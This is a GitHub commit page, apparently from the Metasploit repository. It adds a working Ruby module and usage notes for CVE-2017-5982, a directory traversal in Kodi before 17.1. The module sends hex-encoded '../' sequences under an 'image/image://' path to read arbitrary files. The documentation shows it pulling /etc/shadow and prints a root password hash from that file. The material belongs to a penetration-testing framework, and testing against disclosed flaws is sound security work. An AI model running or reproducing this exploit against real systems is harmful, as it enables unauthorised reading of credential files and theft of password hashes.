Skip to content

Commit 40e6413

Browse files
committed
Land rapid7#7980, Add a sploit for CVE-2017-5982, kodi file traversal
2 parents 48f6740 + 73eed10 commit 40e6413

File tree

2 files changed

+125
-0
lines changed

2 files changed

+125
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
## Vulnerable Application
2+
3+
This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1.
4+
5+
**Vulnerable Application Installation Steps**
6+
7+
Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if
8+
you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz),
9+
or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
10+
11+
You'll need a version lower than 17.1 of Kodi.
12+
13+
## Verification Steps
14+
15+
A successful run of the exploit will look like this:
16+
17+
```
18+
msf > use auxiliary/scanner/http/kodi_traversal
19+
msf auxiliary(kodi_traversal) > set RPORT 8080
20+
RPORT => 8080
21+
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
22+
RHOSTS => 192.168.0.31
23+
msf auxiliary(kodi_traversal) > set FILE /etc/shadow
24+
FILE => /etc/shadow
25+
msf auxiliary(kodi_traversal) > run
26+
27+
[*] Reading '/etc/shadow'
28+
[+] /etc/shadow stored as '/home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin'
29+
[*] Scanned 1 of 1 hosts (100% complete)
30+
[*] Auxiliary module execution completed
31+
msf auxiliary(kodi_traversal) > cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
32+
[*] exec: cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
33+
34+
systemd-network:*:::::::
35+
root:$6$ktSJvEl/p.r7nsR6$.EZhW6/TPiY.7qz.ymYSreJtHcufASE4ykx7osCfBlDXiEKqXoxltsX5fE0mY.494pJOKyuM50QfpLpNKvAPC.:::::::
36+
nobody:*:::::::
37+
dbus:*:::::::
38+
system:*:::::::
39+
sshd:*:::::::
40+
avahi:*:::::::
41+
```
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability',
17+
'Description' => %q{
18+
This module exploits a directory traversal flaw found in Kodi before 17.1.
19+
},
20+
'References' =>
21+
[
22+
['CVE', '2017-5982'],
23+
],
24+
'Author' =>
25+
[
26+
'Eric Flokstra', #Original
27+
'jvoisin'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DisclosureDate' => "Feb 12 2017"
31+
))
32+
33+
register_options(
34+
[
35+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
36+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
37+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
38+
], self.class)
39+
end
40+
41+
42+
def run_host(ip)
43+
base = normalize_uri(target_uri.path)
44+
45+
peer = "#{ip}:#{rport}"
46+
47+
print_status("Reading '#{datastore['FILE']}'")
48+
49+
traverse = '../' * datastore['DEPTH']
50+
f = datastore['FILE']
51+
f = f[1, f.length] if f =~ /^\//
52+
f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all")
53+
54+
uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all"))
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => uri
58+
})
59+
60+
if res and res.code != 200
61+
print_error("Unable to read '#{datastore['FILE']}', possibily because:")
62+
print_error("\t1. File does not exist.")
63+
print_error("\t2. No permission.")
64+
65+
elsif res and res.code == 200
66+
data = res.body.lstrip
67+
fname = datastore['FILE']
68+
p = store_loot(
69+
'kodi',
70+
'application/octet-stream',
71+
ip,
72+
data,
73+
fname
74+
)
75+
76+
vprint_line(data)
77+
print_good("#{fname} stored as '#{p}'")
78+
79+
else
80+
print_error('Fail to obtain file for some unknown reason')
81+
end
82+
end
83+
84+
end

0 commit comments

Comments
 (0)